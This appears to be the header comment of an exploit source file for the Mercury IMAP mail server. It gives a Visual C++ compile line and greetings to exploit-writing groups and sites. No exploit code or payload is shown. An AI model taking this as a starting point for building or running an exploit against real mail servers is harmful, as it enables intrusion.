compiled with visual c++ 6 : cl mercury_imap.c
greeting to :
www.ihsteam.com the team , LorD and NT heya
www.ihsteam.net english version ,
www.exploitdev.com Jamie and Ben the two good brothers also my brothers
www.metasploit.com when are you gonna release the newer version :P ?
www.class101.org class with his new laptop :>
www.milw0rm.com str0ke , I am sending it to you first dont doubt :d
www.c0d3r.org study time started :((( , pitty for the c0d3r !
shout to actionspider
read these lines and try to understand ( I know you cant akhey ) that
an script kiddie (defacer) never ever could be compared to an exploit coder
try to grow , being grown up is not related to age -- with respects
